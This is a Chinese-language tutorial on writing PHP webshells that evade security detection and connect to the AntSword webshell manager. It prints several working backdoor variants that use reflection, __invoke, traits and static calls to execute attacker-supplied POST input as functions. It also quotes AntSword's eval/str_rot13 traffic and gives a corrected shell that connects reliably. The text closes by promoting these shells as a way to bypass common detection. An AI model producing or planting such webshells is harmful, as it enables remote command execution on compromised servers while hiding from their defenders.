Webshell免杀之蚁剑连接
字数 821 2025-08-06 08:35:37

Webshell免杀之蚁剑连接技术详解

前言

本文详细讲解如何实现Webshell的免杀并通过蚁剑连接,重点分析PHP中的高级技巧和流量特征规避方法。

核心免杀技术

1. ReflectionClass::newInstance方法

<?php
class Test1 {
    public function __construct($para, $_value) {
        $para($_value);
    }
}

$class1 = new ReflectionClass("Test1");

foreach (array('_POST') as $_r1) {
    foreach (
$$
_r1 as $_asadasd=>$_wfwefb) {
        
$$
_asadasd = $_wfwefb;
    }
}

$class2 = $class1->newInstance($_asadasd, 
$$
_asadasd);

技术要点:

  • 使用反射类ReflectionClass动态实例化类
  • 通过构造函数执行可变函数$para($_value)
  • 避免直接使用$_POST等超全局变量,使用可变变量动态获取

2. __invoke魔术方法增强版

<?php
class Test1 {
    private $para1 = '';
    private $para2 = '';
    
    public function __invoke($para1, $para2) {
        $para1($para2);
    }
    
    public function __construct($para1, $para2) {
        $this($para1, $para2);
    }
}

// 其余代码同上

技术要点:

  • 利用__invoke魔术方法,当对象被当作函数调用时自动执行
  • 通过构造函数调用对象自身$this($p1,$p2)触发__invoke

3. Trait特性(PHP 7+)

<?php
trait Dog {
    public function eat($a, $b) {
        $a($b);
    }
}

class Animal {
    public function eat() {
        echo "This is animal eat";
    }
}

class Cat extends Animal {
    use Dog;
}

// 参数处理代码
$cat = new Cat();
$cat->eat($_key, $_value);

技术要点:

  • 利用PHP的Trait特性实现代码复用
  • 通过继承和Trait组合实现命令执行

4. 静态调用非静态方法

<?php
class SimpleThis {
    public function NonStatic($p1, $p2) {
        if (isset($this)) {
            echo '6';
        } else {
            $p1($p2);
        }
    }
}

SimpleThis::NonStatic($_key, $_value);

技术要点:

  • 利用PHP允许静态调用非静态方法的特性
  • 通过检查$this是否存在实现不同逻辑分支

蚁剑连接问题分析与解决

问题分析

原始蚁剑连接流量显示:

assert=@eval(@str_rot13($_POST[ca3a283bf3d534]));&ca3a283bf3d534=...

问题原因:

  • 循环处理POST参数时导致变量覆盖
  • 后传入的参数覆盖了前面的assert函数名

解决方案

修改Webshell代码,确保获取第一个POST参数:

<?php
$s0;
$s1;

class Test1 {
    public function __construct($para, $_value) {
        $para($_value);
    }
}

$class1 = new ReflectionClass("Test1");

foreach (array('_POST') as $_request) {
    foreach (
$$
_request as $_key=>$_value) {
        for ($i=0;$i<1;$i++) {
            ${"s".$i} = $_key;
        }
        break;
    }
}

$class2 = $class1->newInstance($s0, $_value);

关键修改:

  • 使用for循环仅获取第一个POST参数
  • 通过break终止后续参数处理
  • 使用动态变量名${"s".$i}存储函数名

蚁剑连接成功验证

修改后的Webshell可以成功连接蚁剑,实现以下功能:

  • 命令执行免杀
  • 文件管理
  • 数据库操作
  • 其他蚁剑标准功能

总结

本文详细讲解了Webshell免杀和蚁剑连接的核心技术,包括:

  1. 反射类的高级用法
  2. PHP魔术方法的巧妙利用
  3. Trait特性的应用
  4. 静态调用非静态方法的技巧
  5. 蚁剑连接问题的分析与解决方案

这些技术组合使用可以有效绕过常见的安全检测机制,实现Webshell的免杀和稳定连接。

Webshell免杀之蚁剑连接技术详解 前言 本文详细讲解如何实现Webshell的免杀并通过蚁剑连接,重点分析PHP中的高级技巧和流量特征规避方法。 核心免杀技术 1. ReflectionClass::newInstance方法 技术要点: 使用反射类ReflectionClass动态实例化类 通过构造函数执行可变函数 $para($_value) 避免直接使用 $_POST 等超全局变量,使用可变变量动态获取 2. __ invoke魔术方法增强版 技术要点: 利用 __invoke 魔术方法,当对象被当作函数调用时自动执行 通过构造函数调用对象自身 $this($p1,$p2) 触发 __invoke 3. Trait特性(PHP 7+) 技术要点: 利用PHP的Trait特性实现代码复用 通过继承和Trait组合实现命令执行 4. 静态调用非静态方法 技术要点: 利用PHP允许静态调用非静态方法的特性 通过检查 $this 是否存在实现不同逻辑分支 蚁剑连接问题分析与解决 问题分析 原始蚁剑连接流量显示: 问题原因: 循环处理POST参数时导致变量覆盖 后传入的参数覆盖了前面的 assert 函数名 解决方案 修改Webshell代码,确保获取第一个POST参数: 关键修改: 使用 for 循环仅获取第一个POST参数 通过 break 终止后续参数处理 使用动态变量名 ${"s".$i} 存储函数名 蚁剑连接成功验证 修改后的Webshell可以成功连接蚁剑,实现以下功能: 命令执行免杀 文件管理 数据库操作 其他蚁剑标准功能 总结 本文详细讲解了Webshell免杀和蚁剑连接的核心技术,包括: 反射类的高级用法 PHP魔术方法的巧妙利用 Trait特性的应用 静态调用非静态方法的技巧 蚁剑连接问题的分析与解决方案 这些技术组合使用可以有效绕过常见的安全检测机制,实现Webshell的免杀和稳定连接。